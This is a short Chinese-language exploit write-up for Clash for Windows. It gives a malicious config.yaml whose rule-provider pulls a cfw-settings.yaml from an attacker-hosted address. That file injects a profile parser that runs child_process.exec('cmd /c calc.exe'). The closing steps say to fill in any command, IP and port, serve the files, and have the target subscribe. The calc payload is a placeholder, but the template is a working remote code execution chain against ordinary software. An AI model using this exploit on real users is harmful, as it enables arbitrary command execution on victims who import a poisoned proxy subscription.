参考:
https://github.com/Fndroid/clash_for_windows_pkg/issues/3891
https://mp.weixin.qq.com/s/RFVkocx1ZE6E71zh5vk-Iw
config.yaml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| port: 7890 socks-port: 7891 allow-lan: true mode: Rule log-level: info external-controller: :9090 proxies: - name: a type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true
rule-providers: p: type: http behavior: domain url: "http://192.168.0.101:8090/cfw-settings.yaml" path: ./cfw-settings.yaml interval: 86400
|
cfw-settings.yaml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| payload: - DOMAIN-SUFFIX,acl4.ssr,全球直连 showNewVersionIcon: true hideAfterStartup: false randomControllerPort: true runTimeFormat: "hh : mm : ss" trayOrders: - - icon - - status - traffic - text hideTrayIcon: false connShowProcess: true showTrayProxyDelayIndicator: true profileParsersText: >- parsers: - reg: .* code: module.exports.parse = async (raw, { axios, yaml, notify, console }, { name, url, interval, selected }) => { require("child_process").exec("cmd /c calc.exe"); return raw; }
|
填好命令、ip和端口,然后开启web服务
然后复制1.yaml文件的url地址下来,使用clash订阅。如果命令没执行,可以重启一下clash试一下。
记得把parse里的内容删掉,不然每次更新的时候都会有这个